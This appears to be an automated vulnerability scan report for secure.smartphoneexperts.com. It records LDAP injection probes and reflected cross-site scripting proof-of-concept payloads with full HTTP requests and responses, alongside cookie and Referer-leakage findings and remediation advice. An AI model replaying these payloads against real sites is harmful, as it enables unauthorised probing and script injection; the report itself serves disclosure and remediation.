XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, secure.smartphoneexperts.com

The REST URL parameter 3 appears to be vulnerable to LDAP injection attacks.

The payloads *)(sn=* and *)!(sn=* were each submitted in the REST URL parameter 3. These two requests resulted in different responses, indicating that the input may be being incorporated into a conjunctive LDAP query in an unsafe manner.

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

If possible, applications should avoid copying user-controllable data into LDAP queries. If this is unavoidable, then the data should be strictly validated to prevent LDAP injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into queries, and any other input should be rejected. At a minimum, input containing any LDAP metacharacters should be rejected; characters that should be blocked include ( ) ; , * | & = and whitespace.

Request 1

POST /content/customercare/*)(sn=* HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217
Content-Length: 69

data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5

Response 1

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:58 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<span class='customer_testimonials'>"Thanks again for your excellent customer care - I will be back to shop with your company again, without a doubt."<br />
- Matthew, TX
</span>
</div>
<div class='sidebar-fot'></div>
</div>
</div> 
</div> 
</div> 
</div> 
<div class='footer-wrapper'>
<div class='footer'>
<p>Copyright &copy 1999-2011 <a class='text_small' href='http://www.smartphoneexperts.com'>Smartphone Experts</a>. All rights reserved.
<a class='text_small' href='http://store.androidcentral.com/content/customercare/page-privacy.htm'>Privacy Policy</a>.
       <a class='text_small' href='http://store.androidcentral.com/motorola-droid-x-accessories.htm'>Motorola Droid X Accessories</a>.
   <p><I>Android and the Android Logo are trademarks or registered trademarks of Google, Inc. in the United States and other countries.</p>
</div>
</div>
</div> 
<script type='text/javascript'>
jQuery(function() {
   var url = window.location.href;url = url.substr(url.lastIndexOf("/") + 1);
   if (url!='') $('.header-menu1').find("a[href*='" + url + "']").addClass('active');
});
</script>

<script type='text/javascript'>
jQuery(function() {

// Clue Tip
   $('a.tips').cluetip();
   $('a.tips_cart:eq(0)').cluetip({
       width:340
   });
});

// Content Slider
try {
   featuredcontentglider.init({
       gliderid: 'fader', //ID of main glider container
       contentclass: 'fader-content', //Shared CSS class name of each glider content
       togglerid: 'fader-toggle', //ID of toggler container
       remotecontent: '', //Get gliding contents from external file on server? 'filename' or '' to disable
       selected: 0, //Default selected content index (0=1st)
       persiststate: false, //Remember last content shown within browser session (true/false)?
       speed: 500, //Glide animation duration (in milliseconds)
       autorotate: true, //Auto rotate contents (true/false)?
       autorotateconfig: [5000,500] //if auto rotate en
...[SNIP]...

Request 2

POST /content/customercare/*)!(sn=* HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217
Content-Length: 69

data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5

Response 2

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:58 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<span class='customer_testimonials'>"You are the most customer service friendly site I have bought from in months. I am going to enjoy ordering supplies from you in the future."<br />
- Joseph, VA
</span>
</div>
<div class='sidebar-fot'></div>
</div>
</div> 
</div> 
</div> 
</div> 
<div class='footer-wrapper'>
<div class='footer'>
<p>Copyright &copy 1999-2011 <a class='text_small' href='http://www.smartphoneexperts.com'>Smartphone Experts</a>. All rights reserved.
<a class='text_small' href='http://store.androidcentral.com/content/customercare/page-privacy.htm'>Privacy Policy</a>.
       <a class='text_small' href='http://store.androidcentral.com/motorola-droid-x-accessories.htm'>Motorola Droid X Accessories</a>.
   <p><I>Android and the Android Logo are trademarks or registered trademarks of Google, Inc. in the United States and other countries.</p>
</div>
</div>
</div> 
<script type='text/javascript'>
jQuery(function() {
   var url = window.location.href;url = url.substr(url.lastIndexOf("/") + 1);
   if (url!='') $('.header-menu1').find("a[href*='" + url + "']").addClass('active');
});
</script>

<script type='text/javascript'>
jQuery(function() {

// Clue Tip
   $('a.tips').cluetip();
   $('a.tips_cart:eq(0)').cluetip({
       width:340
   });
});

// Content Slider
try {
   featuredcontentglider.init({
       gliderid: 'fader', //ID of main glider container
       contentclass: 'fader-content', //Shared CSS class name of each glider content
       togglerid: 'fader-toggle', //ID of toggler container
       remotecontent: '', //Get gliding contents from external file on server? 'filename' or '' to disable
       selected: 0, //Default selected content index (0=1st)
       persiststate: false, //Remember last content shown within browser session (true/false)?
       speed: 500, //Glide animation duration (in milliseconds)
       autorotate: true, //Auto rotate contents (true/false)?
       autorotateconfig: [5000
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 4 instances of this issue:

/content/customercare/page-status.htm [REST URL parameter 2]
/content/customercare/page-status.htm [REST URL parameter 2]
/content/customercare/page-status.htm [REST URL parameter 3]
/content/customercare/page-status.htm [REST URL parameter 3]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 725a7"-alert(1)-"159307def4264512a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /content/customercare725a7"-alert(1)-"159307def4264512a/page-status.htm?data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5 HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:23 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 64865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare725a7"-alert(1)-"159307def4264512a/page-status.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

2.2. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6eabd"-alert(1)-"2ec977d129 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare6eabd"-alert(1)-"2ec977d129/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:06:33 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:06:31 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
Set-Cookie: PHPSESSID=t9v2isfjo83hbgj2ca7ub95ma4; expires=Fri, 10-Jun-2011 14:06:32 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=57e98fb80a186695d4172a973b05110a; expires=Sun, 08-May-2016 14:06:32 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:06:31 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:06:32 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
Content-Length: 64875

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
evice)
{
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare6eabd"-alert(1)-"2ec977d129/page-status.htm&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

2.3. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c515"-alert(1)-"7bf535b9c379d72a2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Request

GET /content/customercare/page-status.htm5c515"-alert(1)-"7bf535b9c379d72a2?data_process=billing&order_id=&zip_code=&process=login&I2.x=79&I2.y=5 HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=
Cache-Control: max-age=0
Origin: https://secure.smartphoneexperts.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v4he5hjga328e0btuv0u9apu5; store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.6.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:10:43 GMT
Content-Type: text/html
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Accel-Expires: 0
Content-Length: 23547

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-status.htm5c515"-alert(1)-"7bf535b9c379d72a2&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

2.4. https://secure.smartphoneexperts.com/content/customercare/page-status.htm [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8be4"-alert(1)-"d6783e1163 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/customercare/page-status.htmc8be4"-alert(1)-"d6783e1163?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:07:02 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:07:00 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
Set-Cookie: PHPSESSID=ahuihimc4tj19i9bcm9fnel7i7; expires=Fri, 10-Jun-2011 14:07:01 GMT; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: visitor_id=c68ad914b89302849848485204378b90; expires=Sun, 08-May-2016 14:07:01 GMT; path=/
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:07:00 GMT; path=/; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:07:01 GMT; path=/; httponly
Set-Cookie: device_id_history=1317; path=/; httponly
X-Accel-Expires: 0
Content-Length: 22642

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
setCookie('initializeDeviceSelector','true',1);
location.href = "http://store.androidcentral.com/v2_process/treo_cookie.php?selection="+device+"&http1=/content/customercare/page-status.htmc8be4"-alert(1)-"d6783e1163&http2=scyYGkbx7rkoY";
}
}
-->
...[SNIP]...

3. SSL cookie without secure flag set previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

PHPSESSID=q6shm07j0a6gj72ilipu9v6kv3; expires=Fri, 10-Jun-2011 14:04:16 GMT; HttpOnly
visitor_id=ff8cacd051298760afb6c872bd507f6f; expires=Sun, 08-May-2016 14:04:16 GMT; path=/
cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; httponly

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized= HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/content/customercare/index.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

4. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/
/content/customercare/page-status.htm

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

4.1. https://secure.smartphoneexperts.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

https://secure.smartphoneexperts.com/?e=R4UFxsR0C1UhyqbZYX1Um3bFg8K0z8FBd4yjK%2B6vBL%2BM6PwxEkTQw5DIzeByUny2GUoBTUvddubGhmVlJhujwV8FpX9pLTN0WrsRQkghXJwcn76L8cgb07QL0p%2F0Cytlosk0u1vPGETd8PlIYyFFC%2FzzzTGd%2FnZourlKrSs1C6uUqr0CuqnfztGoJi6qACNIncrWhlZL%2BLHR%2FH9e8kEjJ%2Fnp9GLYKr9gqfbodunBDu7eV6K5QqM2iQwxxMiQ1UEE9McV%2Fjnn41XlyS2q4RFxZ0IDuUUo6q8AQ77HE%2FrNT7c%3D&__utma=1.4392784710264382500.1305036093.1305036093.1305036093.1&__utmb=1.66.10.1305036093&__utmc=1&__utmx=-&__utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=1.store.androidcentral.com&__utmk=175325346

The response contains the following links to other domains:

https://images.scanalert.com/meter/secure.smartphoneexperts.com/32.gif
https://pixel.quantserve.com/pixel?a.1=p-c1TRDpaaxOT72&a.2=p-8bC03lZwjgqy2

Request

GET /?e=R4UFxsR0C1UhyqbZYX1Um3bFg8K0z8FBd4yjK%2B6vBL%2BM6PwxEkTQw5DIzeByUny2GUoBTUvddubGhmVlJhujwV8FpX9pLTN0WrsRQkghXJwcn76L8cgb07QL0p%2F0Cytlosk0u1vPGETd8PlIYyFFC%2FzzzTGd%2FnZourlKrSs1C6uUqr0CuqnfztGoJi6qACNIncrWhlZL%2BLHR%2FH9e8kEjJ%2Fnp9GLYKr9gqfbodunBDu7eV6K5QqM2iQwxxMiQ1UEE9McV%2Fjnn41XlyS2q4RFxZ0IDuUUo6q8AQ77HE%2FrNT7c%3D&__utma=1.4392784710264382500.1305036093.1305036093.1305036093.1&__utmb=1.66.10.1305036093&__utmc=1&__utmx=-&__utmz=1.1305036093.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)&__utmv=1.store.androidcentral.com&__utmk=175325346 HTTP/1.1
Host: secure.smartphoneexperts.com
Connection: keep-alive
Referer: http://store.androidcentral.com/cart.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: store_id_secure=15; visitor_id=7bafa0a9256e3f802a19af1811a6ef80; cookie_treo_model=1317; device_id_history=1317; __utmz=1.1305036217.1.1.utmcsr=store.androidcentral.com|utmccn=(referral)|utmcmd=referral|utmcct=/content/customercare/index.htm; __utmv=1.store.androidcentral.com; __utma=1.1567419967161159700.1305036217.1305036217.1305036217.1; __utmc=1; __utmb=1.12.10.1305036217

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:05:46 GMT
Content-Type: text/html
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache,no-store,
Expires: Sat, 14 Jun 2003 05:00:00 GMT
X-Accel-Expires: 0
Set-Cookie: cookie_treo_model=deleted; expires=Mon, 10-May-2010 14:05:45 GMT; path=/; secure; httponly
Set-Cookie: cookie_treo_model=1317; expires=Tue, 09-Apr-2013 14:05:46 GMT; path=/; secure; httponly
Set-Cookie: visitor_id=839c627b9b6513ffd262b73318f7d763; expires=Sun, 08-May-2016 14:05:46 GMT; path=/; secure
Content-Length: 19693

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
<head>
<ti
...[SNIP]...
<a href='javascript:pop_up("https://www.scanalert.com/RatingVerify?ref=secure.smartphoneexperts.com","555","680")'><img width="115" height="30" border="0" src="//images.scanalert.com/meter/secure.smartphoneexperts.com/32.gif" alt="McAfee Secure sites help keep you safe from identity theft, credit card fraud, spyware, spam, viruses and online scams" oncontextmenu="alert('Copying Prohibited by Law - McAfee Secure is a Trademark of McAfee, Inc.'); return false;"></a>
...[SNIP]...
<div style='display:none;'>
<img src='//pixel.quantserve.com/pixel?a.1=p-c1TRDpaaxOT72&a.2=p-8bC03lZwjgqy2' border='0' height='1' width='1' alt='Quantcast'/> </div>
...[SNIP]...

4.2. https://secure.smartphoneexperts.com/content/customercare/page-status.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://secure.smartphoneexperts.com
Path:	/content/customercare/page-status.htm

Issue detail

The page was loaded from a URL containing a query string:

https://secure.smartphoneexperts.com/content/customercare/page-status.htm?store_id_secure=15&d=1317&ab_testing_session_serialized=

The response contains the following links to other domains:

https://images.scanalert.com/meter/store.androidcentral.com/63.gif
https://pixel.quantserve.com/pixel?a.1=p-c1TRDpaaxOT72&a.2=p-8bC03lZwjgqy2

Request

Response

HTTP/1.1 200 OK
Server: spe
Date: Tue, 10 May 2011 14:04:16 GMT
Content-Type: text/html
Connection: keep-alive
Set-Cookie: store_id_secure=deleted; expires=Mon, 10-May-2010 14:04:15 GMT; path=/; secure; httponly
Set-Cookie: store_id_secure=15; path=/; secure; httponly
